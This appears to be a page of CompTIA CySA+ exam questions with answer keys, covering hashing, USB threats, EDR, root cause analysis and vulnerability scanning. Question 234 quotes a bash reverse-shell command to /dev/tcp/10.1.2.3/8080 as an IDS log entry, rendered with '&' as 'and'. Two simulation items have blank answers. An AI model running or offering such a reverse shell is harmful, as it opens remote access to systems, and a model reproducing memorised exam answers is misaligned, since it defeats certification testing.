CompTIA CompTIA Certifications CS0-003 Questions & Answers

• Question 231:

  A security analyst is reviewing the findings of the latest vulnerability report for a company's web application. The web application accepts files for a Bash script to be processed if the files match a given hash. The analyst is able to submit files to the system due to a hash collision. Which of the following should the analyst suggest to mitigate the vulnerability with the fewest changes to the current script and infrastructure?

  A. Deploy a WAF to the front of the application.

  B. Replace the current MD5 with SHA-256.

  C. Deploy an antivirus application on the hosting system.

  D. Replace the MD5 with digital signatures.

  Correct Answer: B

  This option involves changing the hash algorithm from the vulnerable MD5 to the more secure SHA-256. It addresses the hash collision vulnerability directly and doesn't require major changes to the existing infrastructure or script logic.

• Question 232:

  A security analyst needs to mitigate a known, exploited vulnerability related to an attack vector that embeds software through the USB interface. Which of the following should the analyst do first?

  A. Conduct security awareness training on the risks of using unknown and unencrypted USBs.

  B. Write a removable media policy that explains that USBs cannot be connected to a company asset.

  C. Check configurations to determine whether USB ports are enabled on company assets.

  D. Review logs to see whether this exploitable vulnerability has already impacted the company.

  Correct Answer: C

  When dealing with a known and exploited vulnerability related to an attack vector that involves embedding software through the USB interface, the primary concern is to immediately stop the active exploitation and prevent further attacks. Given the options provided, the answeer is the best

  Check configurations for USB ports (Option C): This is the most immediate action to take. Disabling or securing USB ports on company assets will prevent the attacker from further exploiting the vulnerability through this attack vector. It's a quick and effective way to mitigate ongoing attacks.

• Question 233:

  A SOC analyst recommends adding a layer of defense for all endpoints that will better protect against external threats regardless of the device's operating system. Which of the following best meets this requirement?

  A. SIEM

  B. CASB

  C. SOAR

  D. EDR

  Correct Answer: D

  EDR stands for Endpoint Detection and Response, which is a layer of defense that monitors endpoints for malicious activity and provides automated or manual response capabilities. EDR can protect against external threats regardless of the device's operating system, as it can detect and respond to attacks based on behavioral analysis and threat intelligence. EDR is also one of the tools that CompTIA CySA+ covers in its exam objective

  https://www.comptia.org/certifications/cybersecurity-analyst https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered https://resources.infosecinstitute.com/certification/cysa-plus-ia-levels/

• Question 234:

  A security analyst identified the following suspicious entry on the host-based IDS logs:

  bash -i >and /dev/tcp/10.1.2.3/8080 0>and1

  Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

  A. #!/bin/bash nc 10.1.2.3 8080 -vv >dev/null andand echo "Malicious activity" || echo "OK"

  B. #!/bin/bash ps -fea | grep 8080 >dev/null andand echo "Malicious activity" || echo "OK"

  C. #!/bin/bash ls /opt/tcp/10.1.2.3/8080 >dev/null andand echo "Malicious activity" || echo "OK"

  D. #!/bin/bash netstat -antp | grep 8080 >dev/null andand echo "Malicious activity" || echo "OK"

  Correct Answer: D

• Question 235:

  Which of the following describes the best reason for conducting a root cause analysis?

  A. The root cause analysis ensures that proper timelines were documented.

  B. The root cause analysis allows the incident to be properly documented for reporting.

  C. The root cause analysis develops recommendations to improve the process.

  D. The root cause analysis identifies the contributing items that facilitated the event.

  Correct Answer: D

  The root cause analysis identifies the contributing items that facilitated the event is the best reason for conducting a root cause analysis, as it reflects the main goal and benefit of this problem-solving approach. A root cause analysis (RCA) is a process of discovering the root causes of problems in order to identify appropriate solutions. A root cause is the core issue or factor that sets in motion the entire cause-and-effect chain that leads to the problem. A root cause analysis assumes that it is more effective to systematically prevent and solve underlying issues rather than just treating symptoms or putting out fires. A root cause analysis can be performed using various methods, tools, and techniques that help to uncover the causes of problems, such as events and causal factor analysis, change analysis, barrier analysis, or fishbone diagrams. A root cause analysis can help to improve quality, performance, safety, or efficiency by finding and eliminating the sources of problems. The other options are not as accurate as the root cause analysis identifies the contributing items that facilitated the event, as they do not capture the essence or value of conducting a root cause analysis. The root cause analysis ensures that proper timelines were documented is a possible outcome or benefit of conducting a root cause analysis, but it is not the best reason for doing so. Documenting timelines can help to establish the sequence of events and actions that led to the problem, but it does not necessarily identify or address the root causes. The root cause analysis allows the incident to be properly documented for reporting is also a possible outcome or benefit of conducting a root cause analysis, but it is not the best reason for doing so. Documenting and reporting incidents can help to communicate and share information about problems and solutions, but it does not necessarily identify or address the root causes. The root cause analysis develops recommendations to improve the process is another possible outcome or benefit of conducting a root cause analysis, but it is not the best reason for doing so. Developing recommendations can help to implement solutions and prevent future problems, but it does not necessarily identify or address the root causes.

• Question 236:

  Which of the following concepts is using an API to insert bulk access requests from a file into an identity management system an example of?

  A. Command and control

  B. Data enrichment

  C. Automation

  D. Single sign-on

  Correct Answer: C

  Using an API to insert bulk access requests from a file into an identity management system is an example of automation. Automation involves using technology, like APIs, scripts, or tools, to perform tasks and processes automatically without manual intervention.

• Question 237:

  HOTSPOT

  The developers recently deployed new code to three web servers. A daily automated external device scan report shows server vulnerabilities that are failing items according to PCI DSS.

  If the vulnerability is not valid, the analyst must take the proper steps to get the scan clean.

  If the vulnerability is valid, the analyst must remediate the finding.

  After reviewing the information provided in the network diagram, select the STEP 2 tab to complete the simulation by selecting the correct Validation Result and Remediation Action for each server listed using the drop-down options.

  INSTRUCTIONS

  STEP 1: Review the information provided in the network diagram.

  STEP 2: Given the scenario, determine which remediation action is required to address the vulnerability.

  If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

  Step 1

  

  

  Hot Area:

  

  Correct Answer:

  

• Question 238:

  HOTSPOT

  A security analyst performs various types of vulnerability scans.

  Review the vulnerability scan results to determine the type of scan that was executed and if a false positive occurred for each device.

  INSTRUCTIONS

  Select the Results Generated drop-down option to determine if the results were generated from a credentialed scan, non-credentialed scan, or a compliance scan.

  For ONLY the credentialed and non-credentialed scans, evaluate the results for False Positives and check the Findings that display false positives.

  NOTE: If you would like to uncheck an option that is currently selected, click on the option a second time.

  Lastly, based on the vulnerability scan results, identify the type of Server by dragging the Server to the results. The Linux Web Server, File-Print Server, and Directory Server are draggable.

  If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

  

  Hot Area:

  

  Correct Answer:

  

• Question 239:

  An end-of-life date was announced for a widely used OS. A business-critical function is performed by some machinery that is controlled by a PC, which is utilizing the OS that is approaching the end-of-life date. Which of the following best describes a security analyst's concern?

  A. Any discovered vulnerabilities will not be remediated.

  B. An outage of machinery would cost the organization money.

  C. Support will not be available for the critical machinery.

  D. There are no compensating controls in place for the OS.

  Correct Answer: A

  As the OS that controls the business-critical machinery is approaching its end-of-life date, it means that the OS will no longer receive updates and security patches from the vendor. This leaves the OS and the machinery susceptible to potential security breaches and attacks that could exploit these unpatched vulnerabilities.

• Question 240:

  A company is in the process of implementing a vulnerability management program. Which of the following scanning methods should be implemented to minimize the risk of OT/ICS devices malfunctioning due to the vulnerability identification process?

  A. Non-credentialed scanning

  B. Passive scanning

  C. Agent-based scanning

  D. Credentialed scanning

  Correct Answer: B

  Passive scanning involves monitoring network traffic to identify vulnerabilities without actively probing or interacting with the devices. This method is relatively non-intrusive and can provide valuable information without directly affecting the

  systems.

  However, it's important to note that passive scanning might not identify all vulnerabilities, so a combination of passive scanning and periodic credentialed scanning might be a balanced approach to ensure accurate vulnerability assessment

  while minimizing disruption.